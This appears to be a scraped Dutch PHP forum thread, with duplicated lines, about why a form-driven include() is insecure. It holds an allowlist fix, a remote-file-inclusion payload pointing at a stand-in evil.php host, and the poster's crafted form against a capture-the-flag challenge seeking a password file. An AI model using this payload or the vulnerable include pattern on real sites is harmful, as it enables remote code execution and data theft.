Onveilig
Hallo allemaal,
Ik heb een kort vraagje. De hieronder geplaatste code schijnt onveilig te zijn, maar ik vroeg me af waarom? Ikzelf doe dit nooit op deze manier, maar ik zie er geen onveilige dingen in... Iemand en idee?
Ik heb een kort vraagje. De hieronder geplaatste code schijnt onveilig te zijn, maar ik vroeg me af waarom? Ikzelf doe dit nooit op deze manier, maar ik zie er geen onveilige dingen in... Iemand en idee?
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<form name="challenge" method="post">
<select size="1" name="where">
<option value="1">Home</option>
<option value="2">Download</option>
<option value="3">Freebies</option>
<option value="4">Links</option>
</select>
<p><input type="submit" name="submit" value="go" class="button" /></p>
</form>
<?php
if (isset($_POST['where'])) {
if ($_POST['where']==1)
$file = 'home.php';
if ($_POST['where']==2)
$file = 'download.php';
if ($_POST['where']==3)
$file = 'freebies.php';
if ($_POST['where']==4)
$file = 'links.php';
include($file);
}
?>
<select size="1" name="where">
<option value="1">Home</option>
<option value="2">Download</option>
<option value="3">Freebies</option>
<option value="4">Links</option>
</select>
<p><input type="submit" name="submit" value="go" class="button" /></p>
</form>
<?php
if (isset($_POST['where'])) {
if ($_POST['where']==1)
$file = 'home.php';
if ($_POST['where']==2)
$file = 'download.php';
if ($_POST['where']==3)
$file = 'freebies.php';
if ($_POST['where']==4)
$file = 'links.php';
include($file);
}
?>
Gesponsorde koppelingen:
Misschien moet je eerst kijken of er wel op de submit button is geklikt..
En in plaats van alleen maar if's kan je elseif's gebruiken.
En in plaats van alleen maar if's kan je elseif's gebruiken.
Je formulier kan aangepast worden en daardoor kan elk bestand op je server opgevraagd worden. Dat is precies wat je niet wilt.
Wat je kan doen is een array maken met de pagina's die toegestaan zijn. Staat de opgevraagde pagina/bestand niet in het array, dan laat ie een standaard pagina zien, bijvoorbeeld home.
Succes ermee!
Wat je kan doen is een array maken met de pagina's die toegestaan zijn. Staat de opgevraagde pagina/bestand niet in het array, dan laat ie een standaard pagina zien, bijvoorbeeld home.
Succes ermee!
Wanneer register_globals & de stream-wrappers voor include nog aan staan, zou je een POST-request kunnen doen met where=5&file=http://a.org/evil.php, en dan wordt evil.php geïnclude.
Hmmz, ik heb nu de register_globals methode gebruikt en het is me "soort van" gelukt.
Als ik nu wat invul bij 'file' dan krijg ik:
Is er een manier om dan het juiste bestand te proberen te vinden?
EDIT: Met 'het juiste bestand' bedoel ik het bestand met het wachtwoord erin (het is een uitdaging van een uitdagingen-website):
Code (php)
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
<form name="challenge" action="http://www.rankk.org/challenges/php-pwned.py?start=true" method="post">
Where:<br />
<input type="text" name="where" size="25" value=" " /><br />
File:<br />
<input type="text" name="file" size="25" /><br />
<input type="submit" name="submit" value="go" />
</form>
Where:<br />
<input type="text" name="where" size="25" value=" " /><br />
File:<br />
<input type="text" name="file" size="25" /><br />
<input type="submit" name="submit" value="go" />
</form>
Als ik nu wat invul bij 'file' dan krijg ik:
Quote:
Warning: main(): failed to open stream: No such file or directory in /var/web/public/challenges/php-pwned.php on line 26
Is er een manier om dan het juiste bestand te proberen te vinden?
EDIT: Met 'het juiste bestand' bedoel ik het bestand met het wachtwoord erin (het is een uitdaging van een uitdagingen-website):
Quote:
Your task is to exploit it to obtain the password file.
Gewijzigd op 01/01/1970 01:00:00 door GaMer B



